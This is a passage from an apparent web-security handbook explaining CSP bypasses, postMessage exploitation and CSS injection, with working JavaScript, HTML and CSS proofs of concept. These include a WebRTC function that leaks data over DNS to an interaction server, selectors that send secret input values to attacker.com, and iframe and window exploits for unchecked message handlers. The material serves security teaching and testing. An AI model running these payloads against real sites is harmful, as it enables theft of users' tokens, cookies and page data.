Another useful method is WebRTC which **bypasses** `connect-src`. The DNS lookup is not blocked and allows for dynamically inserting data into the subdomain field. These names are case-insensitive so an encoding scheme like Base32 can be used to exfiltrate arbitrary data (max \~100 characters per request). Using [`interactsh`](https://github.com/projectdiscovery/interactsh) it is easy to set up a domain to exfiltrate from:

```shell-session
$ interactsh-client

[INF] Listing 1 payload for OOB Testing
[INF] ckjbcs2q8gudlqgitungucqgux7bfhahq.oast.online
```

Then we use the WebRTC trick to exfiltrate any data over DNS:

```javascript
function base32(s) {
  let b = "";
  for (let i = 0; i < s.length; i++) {
    b += s.charCodeAt(i).toString(2).padStart(8, "0");
  }
  let a = "abcdefghijklmnopqrstuvwxyz234567";
  let r = "";
  for (let i = 0; i < b.length; i += 5) {
    let p = b.substr(i, 5).padEnd(5, "0");
    let j = parseInt(p, 2);
    r += a.charAt(j);
  }
  return r.match(/.{1,63}/g).join(".");
}

async function leak(data) {
  let c = { iceServers: [{ urls: `stun:${base32(data)}.ckjbcs2q8gudlqgitungucqgux7bfhahq.oast.online` }] };
  let p = new RTCPeerConnection(c);
  p.createDataChannel("");
  await p.setLocalDescription();
}

leak("Hello, world! ".repeat(8));
```

Finally, we receive DNS requests on the `interactsh-client` that we can [decode](https://gchq.github.io/CyberChef/#recipe=To_Upper_case\('All'\)From_Base32\('A-Z2-7%3D',true\)\&input=akJzd1kzZFBmcXFITzMzU25yc2NjSWNpTVZ3R3kzek1FYjN3NjRUTU1RcVNBU2RmTnJXZzZsYmFvNXhYZTNkLmVlRXFlUVpMbW5yWHNZaUR4TjV6Z3laQkJFYkVHSzNkTU40d2NBNTNwb2p3R0lJakFKQlNXeTNEcEZxcUhPMy4zc25Sc2NDSWNpTVZXZ1kzek1lYjN3NjR0bU1RcVNBU0RGTnJ3ZzZsYkFvNVhYZTNkZWVFUWE):

{% code title="interactsh-client" overflow="wrap" %}

```log
...
[jbswY3dpfqqHo33snrSccICiMvwGY3zMeB3w64TMMqqsaSdfNRwg6LBao5xxe3d.eEeqEqzLMnrxSyIdXn5ZGyZbBEBEGK3dmN4WcA53pojWGIijAjbsWy3dPfQqHO3.3SNrScCIciMVwgY3zMEB3W64tmmqqSASDfnrWG6LbaO5xXe3DeEeQa.CkJbCs2q8GudlQGiTungUCqgux7BFhahq] Received DNS interaction (A) from 74.125.114.204
```

{% endcode %}

### Nonce without `base-src`

If a CSP filters scripts based on a **nonce**, and does not specify a `base-src` directive, you may be able to hijack relative URLs after your injection point.

{% code overflow="wrap" %}

```http
Content-Security-Policy: script-src 'nonce-abc'
```

{% endcode %}

Let's say the target page with an HTML-injection looks as follows:

<pre class="language-html"><code class="lang-html">&#x3C;body>
  INJECT_HERE
<strong>  &#x3C;script nonce="abc" src="/script.js">
</strong>&#x3C;/body>
</code></pre>

The relative `<script>` tag can be redirect to another domain using the `<base>` tag as follows:

<pre class="language-html"><code class="lang-html">&#x3C;body>
<strong>  &#x3C;base href="https://attacker.com">
</strong>  &#x3C;script nonce="abc" src="/script.js">
&#x3C;/body>
</code></pre>

Now, the script with a valid nonce is loaded from `https://attacker.com/script.js` instead of the target website!

### Nonce with Caching

When facing a cryptographically random `nonce` for every request, there's still a chance for the **cache** to remember your nonce and to share it with an attacker. While this theoretically leaks the nonce, changing your payload to include it may be tricky, because if it's stored on the cached page with the nonce directly you cannot change it without also altering the nonce.

Therefore, your injection point must be a dynamically fetched payload on some static page. Then the attacker retrieves the nonce by using cache deception against the victim, and updates their payload to include it. The moment anyone now visits the link and it's still cached, the fetched payload will correctly match the nonce and execute.

{% embed url="<https://serverfault.com/questions/1059740/how-to-create-a-csp-nonce-and-yet-continue-website-caching/1064775#1064775>" %}
Explanation of what happens when a CSP nonce is cached
{% endembed %}

As opposed to a server's cache, the browser also has a **Disk Cache**. I looked into how this could be exploitable and it was very similar, only requiring you to be able to leak the nonce from the client-side because the cache is never shared directly with the attacker. You can often use [CSS Injection](/web/client-side/css-injection) for this.

{% embed url="<https://jorianwoltjer.com/blog/p/research/nonce-csp-bypass-using-disk-cache>" %}
Writeup of a technique to bypass Nonce CSPs with the browser's Disk Cache
{% endembed %}


# postMessage Exploitation

Send cross-origin messages with arbitrary data, which can easily lead to Cross-Site Scripting in vulnerable handler that fail to verify the origin

## Description

The [`window.postMessage()` API](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage) in JavaScript allows windows, even from different origins or sites, to communicate using messages. One window can register a listener, and another with a reference to the first window can send it any message. The listener will receive messages from any location and needs to handle the integrity of those messages by itself. See the following example:

<pre class="language-javascript" data-title="https://example1.com"><code class="lang-javascript">async function sleep(ms) {
  return new Promise((resolve) => setTimeout(resolve, ms));
}

// Receive response from the child window
<strong>onmessage = async (e) => {
</strong>  console.log("Response:", e.data);
};

onclick = async () => {
  const w = window.open("https://example2.com");
  await sleep(1000);
  // Send initial message
<strong>  w.postMessage("Hello", "*");
</strong>};
</code></pre>

<pre class="language-javascript" data-title="https://example2.com"><code class="lang-javascript">onmessage = async (e) => {
  console.log("Received:", e.data);
  // Send a message back to the parent window
<strong>  e.source.postMessage("echoed " + e.data, "*");
</strong>};
</code></pre>

The above will send a "Hello" message to the opened window, receiving the message and returning an echoed response. The original window will receive this and log the response as "echoed Hello".

{% hint style="info" %}
**Tip**: If you cannot open your target via `window.open()` because of the [`Cross-Origin-Opener-Policy:`](https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Cross-Origin-Opener-Policy) response header, check out potential bypasses in [XS-Leaks](/web/client-side/xs-leaks#cross-origin-opener-policy-coop).
{% endhint %}

## Methodology

1. **Finding postMessage uses**: Use loggers such as [postMessage-tracker](http://github.com/Geluchat/postMessage-tracker) or Burp Suite [DOM Invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages) to find any messages an application sends while browsing the target application.
2. **Checking sender targetOrigin**: Find calls to `postMessage(message, targetOrigin)` where the `targetOrigin` is a wildcard (`"*"`) or another origin that you control. If the window this method is called on is your domain, you can receive and read this message. The `opener` variable may point to your domain if the target was opened as a new tab from there. If the message is sent to an iframe inside the target page, and the target page itself is framable, you can hijack the location of this inner iframe to intercept the message before it is sent.
3. **Checking listener origins**: Look for listeners registered via `document.onmessage =` or `addEventListener("message", ...)` and check if their function body verifies the `e.origin` of the message correctly. This should be done against a static expected origin or the safe `window.location.origin` variable. Even `window.origin` is unsafe and vulnerable as explained in [#bypassing-window.origin-using-null-origin](#bypassing-window.origin-using-null-origin "mention").
4. **Finding vulnerable sinks**: When a handler uses flawed logic to verify the origin, you can send arbitrary messages to it from your origin. Use debugging with breakpoints to follow what the handler does and if the `e.data` reaches any dangerous sinks like `eval(...)` or `location = "javascript:..."`. Remember that your data must fit the [Structured Clone Algorithm](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm) which disallows sending functions, but allows a lot more like strings, arrays, objects and some more complex types (more than just JSON).
5. **Exploiting a vulnerability**: After finding a vulnerable sink in a flawed origin check, write a simple HTML page on another origin to exploit it. If the target page allows it, it can be iframed without interaction, but cookies won't always be used. After an interaction with `onclick =` you may open a window to the target page and hold that reference to send messages to exploit it. See the examples below for some different exploitation techniques.

## Handlers & Origin Checks

Another more common vulnerability is vulnerable handlers. If a target site creates a listener with code that does not verify the origin (`e.origin`), it may parse untrusted data. If this wasn't expected, the data may end up in dangerous sinks and allow vulnerabilities like XSS or leaking data through a response to `e.source`.

### Finding handlers

You can find all listeners manually by checking **Global Listeners** in the **DevTools** -> **Sources** tab:

<figure><img src="/files/eo4r1UhPUCA3Ui6TWnMN" alt="" width="498"><figcaption><p>List all global message listeners on the current page using DevTools</p></figcaption></figure>

Another option is using extensions that **automatically** log every message being sent. This allows you to get a quick idea of what kind of data is being sent, and if it may be sensitive or dangerous:

{% embed url="<http://github.com/Geluchat/postMessage-tracker>" %}
**Log** every message to the console, and view the **extension popup** to see a clear **list of handlers** traced to their source
{% endembed %}

{% embed url="<https://portswigger.net/burp/documentation/desktop/tools/dom-invader/web-messages>" %}
In Burp Suite browser, automatically inject canaries into **sources** and look for well-known **sinks**
{% endembed %}

An example of a dangerous handler is the following. Note that it does not verify the origin of the message, and the sent data ends up in a dangerous sink (`eval`):

<pre class="language-javascript" data-title="https://example.com"><code class="lang-javascript"><strong>onmessage = (e) => {
</strong><strong>  eval(e.data);
</strong>};
</code></pre>

An attacker can exploit this by *iframing (1)* the above page, or by opening a top-level *window (2)* to it. Then they need to send a `postMessage` to this window that will exploit the sink:

<pre class="language-javascript" data-title="https://attacker.com"><code class="lang-javascript">const iframe = document.createElement("iframe");
<strong>iframe.src = "https://example.com";
</strong>document.body.appendChild(iframe);

// 1. Load it in an iframe, then use .contentWindow to get a reference for sending messages
setTimeout(() => {
<strong>  iframe.contentWindow.postMessage("alert(1)", "*");
</strong>}, 1000);

// 2. After interaction, open a window and send a message to it
onclick = () => {
<strong>  const w = window.open("https://example.com");
</strong>
  setTimeout(() => {
<strong>    w.postMessage("alert(2)", "*");
</strong>  }, 1000);
    };
</code></pre>

Notably, cookies and other resources like localStorage are not available in a third-party context like an iframe where the top-level (address bar) origin is different from the target origin. The only exception to this is `SameSite=None` cookies which are readable or fetch same-origin resources without any CORS limitations.

This means that to really exploit an XSS, you need to **use a window** instead of an iframe because its **top-level** origin is the same as the target origin. You will be able to read any non-httpOnly cookies through `document.cookie`, or use any cookies in a `fetch()` without CORS limitations, gaining full XSS impact.

### More difficult exploits

You won't always find a perfect `eval()` gadget on your input. More common sinks would be similar to [Cross-Site Scripting (XSS)](/web/client-side/cross-site-scripting-xss#dom-xss), and `location = ...` where you can pass it a `javascript:` URL. Think creatively about what exactly each vulnerable handler does and how it may be of use in other attacks as well, treat them as **gadgets**.

One thing to highlight is the fact that all data sent must only pass the [Structured Clone Algorithm](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm), this is more lax than JSON. In fact, you can send things like `Error`, `Date` or `RegExp`. This flexibility may be useful in more complicated exploits because different types have different features and properties.

Take for example the following vulnerable handler ([taken from the real world](https://x.com/Akhmad_Yudha/status/1813800676377706852)). It takes the `e.data` from our message and calls a window function with that data:

<pre class="language-javascript" data-title="Vulnerable example"><code class="lang-javascript">var data = e.data;
if (typeof (window[data.func]) == "function") {
<strong>    window[data.func].call(null, data);
</strong>}
</code></pre>

It may look easy by just setting `data.func` to `"eval"`, and then providing any arbitrary JavaScript as `data`. But the tricky part is that this first argument is the same object as the one that needs to have the `.func = "eval"` property. Normally, an [`Object`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object) is sent by the application and the called function handles the required properties by itself, but in JavaScript *no such function* exists that takes an object and evaluates code based on one of its properties.

The trick here is to make use of the Structured Clone Algorithm to do something that is normally impossible in JSON. We make an [`Array`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array) with other properties set on it. An array's `toString()` method will concatenate all its items, so an array like `["1", 2]` would turn into `"1,2"`. This combination gives us the ability to call [`setTimeout()`](https://developer.mozilla.org/en-US/docs/Web/API/Window/setTimeout) with our array as its argument. It will be stringified by `setTimeout`'s implementation and it evaluates any strings it receives.

{% code title="Exploit" %}

```javascript
const a = ["alert(origin)"]
a.func = "setTimeout"
postMessage(a, "*")
```

{% endcode %}

Another situation that's useful to understand is using properties from the prototype of objects when you encounter your input in a *member access* operation (more info in [JavaScript](/languages/javascript#prototype-properties)). The property `constructor.constructor` can grant you the [`Function()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/Function) constructor, which once again takes a string argument to evaluate.

<pre class="language-javascript" data-title="Vulnerable example"><code class="lang-javascript">const callbacks = {...};
const { category, name } = e.data; 

<strong>callbacks[category][name](e.data)();
</strong></code></pre>

{% code title="Exploit" %}

```javascript
const a = ["alert(origin)"]
a.category = "constructor"
a.name = "constructor"
postMessage(a, "*")
```

{% endcode %}

### Stealthier: tab-under method

Another stealthier way of doing the above is by never letting the user see the target website, only our attacker-controlled website. To do this, we can follow the idea below:

1. Victim visits the attacker's website
2. On interaction, use `window.open` to open a new window to an attacker's page again ("2nd window"). This will gain the focus of the browser now
3. Now the initial window changes its own location to the target page containing a vulnerable postMessage handler, this time in a top-level context
4. The 2nd window will now use `opener.postMessage` as its reference to the vulnerable domain and send the exploit to the postMessage handler. The resulting XSS will now have full access to cookies etc.

{% code title="<https://attacker.com>" %}

```javascript
// Code for 2nd tab:
setTimeout(() => {
  // After the new tab is opened, send a message to its opener which will have become the target
  opener.postMessage("alert()", "*");
}, 1000);

// Code for 1st tab:
onclick = () => {
  // Duplicate this tab, focus will go to new tab
  const w = window.open(location);
  // Stealthly change the location of the old tab to target
  location = "https://example.com";
};
```

{% endcode %}

### Bypassable origin checks

Websites often protect against the vulnerabilities above by checking the message origin at each handler. It will refuse to execute the potentially dangerous code if it doesn't match the expected origin. The following common examples are safe:

{% code title="Safe Examples" %}

```javascript
onmessage = (e) => {
  // Message must come from https://example.com exactly
  if (e.origin !== "https://example.com") return;
  eval(e.data);  // Dangerous, but we can't reach it cross-origin
}

onmessage = (e) => {
  // Message must come from the current address bar origin
  if (e.origin !== window.location.origin) return;
  eval(e.data);
}
```

{% endcode %}

This requires knowing the exact origin beforehand and comparing it against it, or the frame's origin being the same as the current location. Some developers make this more generic by relaxing the condition slightly, but this can quickly lead to vulnerabilities:

<pre class="language-javascript" data-title="Vulnerable Examples"><code class="lang-javascript">onmessage = (e) => {
<strong>  if (e.origin.startsWith("https://example.com")) return;
</strong>  // ^^ Bypassable using "https://example.com.attacker.com"
}

onmessage = (e) => {
<strong>  if (e.origin.endsWith("example.com")) return;
</strong>  // ^^ Bypassable using "https://anythingexample.com"
}

onmessage = (e) => {
<strong>  if (e.origin.search("^https://sub.example.com$") !== 0) return;
</strong>  // ^^ Bypassable using "https://subXexample.com" because "." matches all
}
</code></pre>

### Bypassing window\.origin using `'null'` origin

Another more tricky condition to bypass is the following ([source](https://twitter.com/terjanq/status/1511846053427003393)):

{% code title="Vulnerable Example" %}

```javascript
onmessage = (e) => {
  if (e.origin !== window.origin) return;
  // ^^ Using window.origin instead of window.location.origin is unsafe!
}
```

{% endcode %}

The above is exploitable because using iframe sandboxes, `e.origin` as well as `window.origin` can both be set to `'null'`. After doing so, SameSite=Lax cookies will be used to initiate the top-level request and may have placed a secret CSRF token or user data in the HTML, which can be read by exploiting the `postMessage` handler. The following was a CTF challenge that required you to use this novel technique to steal another identifier causing XSS:

<https://twitter.com/terjanq/status/1446500485142355972>

The technique goes as follows:

1. Victim visits the attacker's website
2. Create an iframe with a strict sandbox (excluding `allow-same-origin`) to make its origin `'null'`
3. Inside the `srcdoc` of this frame, open a window to the vulnerable target page after interaction. This will inherit the `'null'` origin so the source and destination are the same, which will bypass the check
4. After the message listener is registered, send a postMessage with the exploit to cause XSS in a `'null'` origin
5. Use this XSS to leak any data on the current page. You **cannot access** resources like cookies or localStorage, and fetches will exclude any cookies because the origin is `'null'` and [SOP](https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy) is in effect. The idea is to read a CSRF token on the vulnerable page and **exfiltrate** it for another attack

Below is an example of a vulnerable page that registers a message listener and shows sensitive content on the page (cookies directly, but this may be a CSRF token or user data):

<pre class="language-php" data-title="https://example.com"><code class="lang-php">&#x3C;?php
// Vulnerable handler page contains some sensitive data
<strong>print_r($_COOKIE);
</strong>?>
&#x3C;script>
<strong>  onmessage = (e) => {
</strong><strong>    if (e.origin !== window.origin) return;
</strong><strong>    eval(e.data);
</strong>  }
&#x3C;/script>
</code></pre>

This can be exploited with a single click on the following attacker's page:

{% code title="<https://attacker.com>" %}

```javascript
// Sandboxed iframe to create 'null' origins
const frame = document.createElement("iframe");
frame.sandbox = "allow-scripts allow-popups allow-modals allow-top-navigation";

frame.srcdoc = `
<h1>Click here!</h1>
<script>
onclick = () => {
// Open the target page in a top-level context, including SameSite=Lax cookies
const w = window.open("https://example.com");

setTimeout(() => {
  // Exploit the XSS by reading the body
  w.postMessage("alert(document.body.innerText)", "*");
}, 1000);
}
<\/script>
`;
document.body.appendChild(frame);
```

{% endcode %}

### `event.source` hijacking

The [`.source`](https://developer.mozilla.org/en-US/docs/Web/API/MessageEvent/source) property of a MessageEvent is also sometimes used to check if a message came from a specific frame. It doesn't work with origins, but with window references. For example, one can check if the message came from a specific iframe:

<pre class="language-html" data-title="https://example.com"><code class="lang-html">&#x3C;iframe id="trusted" src="...">&#x3C;/iframe>
&#x3C;script>
  const trusted = document.getElementById("trusted");
  window.addEventListener("message", (e) => {
<strong>    if (e.source !== trusted.contentWindow) return;
</strong>    
    eval(e.data);
  });
&#x3C;/script> 
</code></pre>

It seems pretty safe, as the iframe is made by the website itself, and often contains trusted content. However, if you can inject an Open Redirect into the iframe or if it can proxy messages to the parent, you'll still be able to send messages from there.

If the parent page is itself framable, you can become the `top` and from there navigate any inner iframes to any location, including yours. That way you can also gain control over the "trusted" iframe and send messages from it that the parent will trust. This is similar to exploiting [#nested-iframe](#nested-iframe "mention").

<pre class="language-html" data-title="Exploit"><code class="lang-html">&#x3C;iframe id="iframe" src="https://example.com">&#x3C;/iframe>
&#x3C;script>
  // Data to send to the handler
  window.data = "alert(origin)";
  // After example.com has loaded and the frame was created, redirect it to our page
  iframe.onload = () => {
    const inner = iframe.contentWindow.frames[0];
<strong>    inner.location = "about:blank";  // Hijack the inner iframe
</strong>  
    const interval = setInterval(() => {
      inner.origin;  // When it becomes same-origin
      clearInterval(interval);
<strong>      inner.eval("parent.postMessage(top.data, '*')");  // Send to parent from inner
</strong>    })
  }
&#x3C;/script>
</code></pre>

### `event.source` null

There is a way to make `event.source` for your malicious message `null` ([first shared by Omid Rezaei](https://x.com/omidxrz/status/1924490901830639986/photo/1)). This is useful if the security check depends on this value being truthy, for example:

<pre class="language-html" data-title="Vulnerable example"><code class="lang-html">&#x3C;iframe id="trusted" src="...">&#x3C;/iframe>
&#x3C;script>
  const trusted = document.getElementById("trusted");
  window.addEventListener("message", (e) => {
<strong>    if (e.source &#x26;&#x26; e.source !== trusted.contentWindow) return;
</strong>
    eval(e.data);
  });
&#x3C;/script>
</code></pre>

Here, the `e.source &&` part requires that `e.source` is set, and only if so, will check if it is correct. That means if it would be `null`, you would bypass the check.

To make it null, send a message from your own iframe that you instantly remove after sending it. The frame reference will be gone by the time the target receives the message, and cause `e.source` to be null ([source](https://groups.google.com/a/chromium.org/g/chromium-discuss/c/-phtOYVPSHQ/m/zxwRil1Nz0gJ)).\
Our iframe can get a reference to the target page by saving it in a same-origin variable or through [`opener`](https://developer.mozilla.org/en-US/docs/Web/API/Window/opener). Check out the generic exploit below:

<pre class="language-javascript" data-title="Exploit"><code class="lang-javascript">function postMessageNoSource(w, data) {
  window.ref = w;  // Save arguments so iframe can access them
  window.data = data;
  const iframe = document.createElement("iframe");
  iframe.srcdoc = "";
  document.body.appendChild(iframe);
  iframe.onload = () => {
    // Send message from within iframe
<strong>    iframe.contentWindow.eval("top.ref.postMessage(top.data, '*')");
</strong><strong>    iframe.remove();  // Instantly remove it so the .source becomes null
</strong>  };
}

const w = window.open("http://127.0.0.1:8000/vuln.html");
setTimeout(() => {
<strong>  postMessageNoSource(w, "alert(origin)");
</strong>}, 1000);
</code></pre>

This vulnerability can also happen if it loosely compares ([`==`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Equality)) with a frame reference that may or may not exist, and using `.?` can return undefined. This will equal the `null` we can generate:

<pre class="language-javascript" data-title="Vulnerable example"><code class="lang-javascript">const trusted = document.getElementById("may-not-exist");
window.addEventListener("message", (e) => {
<strong>  if (e.source != trusted?.contentWindow) return;
</strong>
  eval(e.data);
});
</code></pre>

## Leaking messages

```javascript
window.postMessage(message, targetOrigin)
```

The first argument is for the *data* sent. The only requirement for this data is that it can be sent using the [Structured Clone Algorithm](https://developer.mozilla.org/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm). The second argument is more interesting for vulnerabilities as it defines the `targetOrigin`. Because JavaScript doesn't know if the window's origin changed between loading the window and sending the message, this argument is another check that **verifies the origin of the window** you are sending a message to is the value in the string. The special `"*"` symbol means a wildcard, or any origin (less secure).

If a website does not verify where it is sending a message, you may be able to receive a message that wasn't intended for you.

### Nested iframe

One trick involving this idea is the fact that **any origin can change the location of frames within an iframe**. If we can iframe a target page that itself loads another iframe, we can change the location of this inner iframe to anything else to intercept messages. The following example uses example.com as the target domain, which loads an iframe of some other trusted page expecting a postMessage:

{% code title="<https://example.com>" %}

```html
<iframe id="iframe" src="https://inner.example.com"></iframe>
<script>
  iframe.onload = () => {
    // Expects to send to inner.example.com, but wrongly uses "*" to send to any origin
    iframe.contentWindow.postMessage("secret", "*");
  }
</script>
```

{% endcode %}

<pre class="language-javascript" data-title="https://inner.example.com"><code class="lang-javascript"><strong>onmessage = (e) => {
</strong>  console.log("INNER", e.data);
};
</code></pre>

An attacker can abuse this by using the [`window.frames`](https://developer.mozilla.org/en-US/docs/Web/API/Window/frames) property to change the location of this inner iframe, and intercept the secret message:

<pre class="language-html" data-title="https://attacker.com"><code class="lang-html">&#x3C;iframe id="iframe" src="https://example.com">&#x3C;/iframe>
&#x3C;script>
  // After example.com has loaded and the frame was created, redirect it to our page
  iframe.onload = () => {
    const inner = iframe.contentWindow.frames[0];
<strong>    inner.location = "about:blank";  // Hijack the inner iframe
</strong>  	
    const interval = setInterval(() => {
      inner.origin;  // When it becomes same-origin
      clearInterval(interval);
<strong>      inner.onmessage = (e) => {  // Listen for the leaked message
</strong>        alert(e.data);
      }
    })
  }
&#x3C;/script>
</code></pre>

{% embed url="<https://web.archive.org/web/20201227141548/https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/>" %}
Real-world example of this vulnerability in docs.google.com
{% endembed %}

{% hint style="info" %}
**Note**: this is *only possible* if you can *iframe the parent page*, because through a regular top-level window reference, you cannot change the location of inner iframes.
{% endhint %}

### Window name hijacking

Instead of iframes, if the ***name*****&#x20;of a window** in `window.open()` can be predicted, an attacker can prepare an existing window with the same name that will be reused, effectively **hijacking** it! If you open the target from your page and create a same-origin iframe on your page with a specific name, it will find that first and rewrite the location of the iframe, returning a reference to it. Importantly, this iframe is still on the attacker's page.

If the target page would now send a `postMessage(..., "*")` to this newly opened "window", it may have been hijacked by an attacker again to intercept the message.

{% code title="<https://example.com>" %}

```html
<?php
// Vulnerable page doesn't need to be iframable
header("X-Frame-Options: DENY");
?>
<h1>Vulnerable</h1>
<button onclick="start()">Start</button>
<script>
  function start() {
    w = window.open("/win", "PREDICTABLE_NAME", "popup");
    setTimeout(() => {
      w.postMessage("SECRET_DATA", "*")
    }, 1000)
  }
</script>
```

{% endcode %}

The attacker can now steal the secret data with any same-origin iframe. If the target doesn't allow this, errors often don't include regular response headers. Try a path like `/%00` or a too-long URI:

<pre class="language-html" data-title="https://attacker.com"><code class="lang-html"><strong>&#x3C;iframe src="https://example.com/%00" id="frame" name="PREDICTABLE_NAME">&#x3C;/iframe>
</strong>&#x3C;script>
  onclick = () => {
<strong>    window.open("https://example.com");
</strong>    // When the user triggers https://example.com's popup, it will be placed in 
    // the above iframe. We quickly rewrite it to our origin to leak the message
    // that will be sent to it:
    frame.onload = () => {
      frame.onload = null;
<strong>      frame.srcdoc = `&#x3C;script>
</strong><strong>  onmessage = (e) => alert(e.data)
</strong><strong>  &#x3C;\/script>`;
</strong>    };
  };
&#x3C;/script>
</code></pre>


# CSS Injection

Injecting CSS code to leak content on a page using selectors

## # Related Pages

{% content-ref url="/pages/TPP9qH7lQ74LNCeeuTZr" %}
[HTML Injection](/web/client-side/cross-site-scripting-xss/html-injection)
{% endcontent-ref %}

## Injecting

CSS Injection starts with injecting CSS. This can happen in a variety of ways, a simple example being a customization of a color by setting a property in the CSS to your user input:

```html
<style>
body {
  color: <?= $color ?>;
}
</style>
```

This allows the user to set the page to any color with the `$color` variable, but a malicious user could use special characters to escape the context. Firstly, you should check if a closing `</style>` tag is disallowed, because if you can write that inside some inline CSS, you can close out of the tag and start writing arbitrary HTML, potentially escalating to XSS. If `<` are encoded, for example, we can still perform CSS injection by closing the current selector and opening another one with the following payload:

{% code title="Payload" %}

```css
}*{background: red}
```

{% endcode %}

{% code title="Result" %}

```css
body {
  color: }*{background: red};
}
```

{% endcode %}

Rendering the above CSS, even though it is not completely valid syntax, will render everything on the page (`*`) with a red background. This is often a good proof-of-concept to show that attacks explained below will be possible.

The following article explains the general idea of CSS Injection and some tricks:

{% embed url="<https://aszx87410.github.io/beyond-xss/en/ch3/css-injection/>" %}
Explanation of CSS Injection basics
{% endembed %}

### stylesheet vs. \<style> vs. style=

CSS can be loaded in a few different ways, and sometimes the details matter.

1. `<link rel="stylesheet" href="style.css">`: Loads CSS content from a URL (`href=`). This is only vulnerable if you can control the attribute enough to redirect it to any of your arbitrary content (or directly with an HTML-Injection), or if you have an injection dynamically generated CSS content somehow.
2. `<style>`: Using an sanitized HTML-injection, you may still be able to write a `<style>` tag with arbitrary content. Another option is if user input ends up in partially-trusted content and you can escape the context. (note: HTML-encoding content won't work here, even though it is inside HTML)
3. `style=` attribute: Inside of a [style attribute](https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/style), it is *not possible* to add selectors and leak content. You can only change the style of the element it is an attribute of, to for example, make it take up the whole screen with a background image. There is one small edge case using the recent `if()` statements to brute force attributes on the same element as this attribute (see [#stylesheet-vs.-less-than-style-greater-than-vs.-style](#stylesheet-vs.-less-than-style-greater-than-vs.-style "mention")).

### Escaping string context

When injecting in partially-trusted CSS, it is almost aways enough to use `}` to close the current selector and open new ones. One exception to this is strings, which use quotes (`"`) that need to be closed first. You may be able to do this directly, or use a special character to also close the context (`\n`, `\r` or `\x0c`).

```css
.element::before {
  content: "<?= $content ?>";
}

.element2 {
  background: url('https://example.com/?param=<?= $param ?>');
}
```

The above injection points can be exploited in a few different ways:

* `$content`:\
  Using `"}*{background:red}` to close the quote\
  Using `\x0c}*{background:red}` to end the string (`\x0c` refers to the literal *Form Feed* character, also `\n` and `\r` characters possible)
* `$param`:\
  Using `')}*{background:red}` to close the quote and `url()`\
  Using `\x0c)}*{background:red}` to end the string and `url()`

## Leaking

The goal of injecting CSS is to leak other content on the page. The most common attack is leaking attribute values of HTML elements by using selectors such as `input[value^=a]` to match any `<input>` element whose `value=` attribute *starts* with "a". Inside of the selector, you can put a `background: url(https://attacker.com/?a)` pointing to your server with a unique path for that selector. Only if the selector matches, will the background be loaded and the URL requested. By seeing the incoming request, the attacker now knows there is an input element with that specific first character.

The attacker can repeat this for all possible characters to find one, then change the CSS to match the first and second characters now that the first is known.

```html
<input name="secret" value="secret">
<style>
/* 1st iteration */
input[name="secret"][value^="a"] { background: url(https://attacker.com/?a) }
input[name="secret"][value^="b"] { background: url(https://attacker.com/?b) }
input[name="secret"][value^="c"] { background: url(https://attacker.com/?c) }
...
input[name="secret"][value^="z"] { background: url(https://attacker.com/?z) }
/* 2nd iteration, once we receive the request for /?s */
input[name="secret"][value^="sa"] { background: url(https://attacker.com/?sa) }
input[name="secret"][value^="sb"] { background: url(https://attacker.com/?sb) }
input[name="secret"][value^="sc"] { background: url(https://attacker.com/?sc) }
...
input[name="secret"][value^="sz"] { background: url(https://attacker.com/?sz) }
</style>
```

### Selectors

For different types of content that we want to leak, there are different selectors. One edge case is if the secret input we want to leak has the **`type="hidden"`** attribute, which won't allow us to set a background image on it. Instead, we can target an adjacent element to set the background on, while still matching the hidden element. Read the [#stealing-hidden-input](https://aszx87410.github.io/beyond-xss/en/ch3/css-injection/#stealing-hidden-input) section for details on how to do this.

To leak **raw text** on the page instead of attributes, some more complex techniques are necessary. Firstly, "raw text" is just the content in between tags, like `<p>This is raw text</p>`. You can make even `<script>` tags in the body behave like text by giving them a `display: block` property. To leak such strings, you can abuse custom fonts to give certain characters a unique height, and then detect the presence of scroll bars to find which characters are shown. See this writeup to see how it is done:

{% embed url="<https://web.archive.org/web/20240222174432/https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/>" %}
Leaking raw text nodes with CSS
{% endembed %}

### @import chaining

The technique explained above requires multiple separate loads of the CSS which may be difficult in some scenarios, so there exists a more complicated technique.

By including `@import` statements in the CSS, you can load extra CSS from a URL that may not respond yet, while the rest of the CSS that is already loaded will. If you create a clever server that responds with the 1st iteration right away, and then delays the response for the 2nd iteration, you can wait until the leak result from the 1st iteration comes in and then dynamically generate the 2nd iteration payload. Doing this is a chain allows you to leak larger amounts of text in a single shot.

One requirement for this `@import` chain attack is that your input is at the *start of a `<style>` tag*, often achieved through HTML-Injection. Just closing a selector and then writing an `@import` statement right after won't work, they can only exist at the top of the CSS source. See this article for details on exploitation:

{% embed url="<https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b>" %}
Explanation of @import chaining
{% endembed %}

This tool implements the attack and is easy to use:

{% embed url="<https://github.com/d0nutptr/sic>" %}
Leak attributes character by character using delayed `@import`s tool
{% endembed %}

For your injection, you should pass a URL to the `/staging` endpoint of your local port 3000, with a `?len=` parameter being the max length of the value.

<pre class="language-html"><code class="lang-html">&#x3C;input type="hidden" name="csrf" value="SECRET" />
&#x3C;style>
<strong>  @import url("http://localhost:3000/staging?len=6");
</strong>&#x3C;/style>
</code></pre>

The tool requires a *template* with `{{:token:}}` and `{{:callback:}}` placeholders to prefix match your target attribute and make a request to the callback. This is to provide flexibility, as in this case, the input is hidden and we need to wrap it with `html:has()`.

{% code title="template.css" %}

```css
html:has(input[name="csrf"][value^="{{:token:}}"]) {
  background: url({{:callback:}});
}
```

{% endcode %}

After you install the tool, set up its arguments and it will host a server on localhost:3000 and localhost:3001, both of which should be accessible to the victim and the external addresses passed as `--ph` and `--ch`:

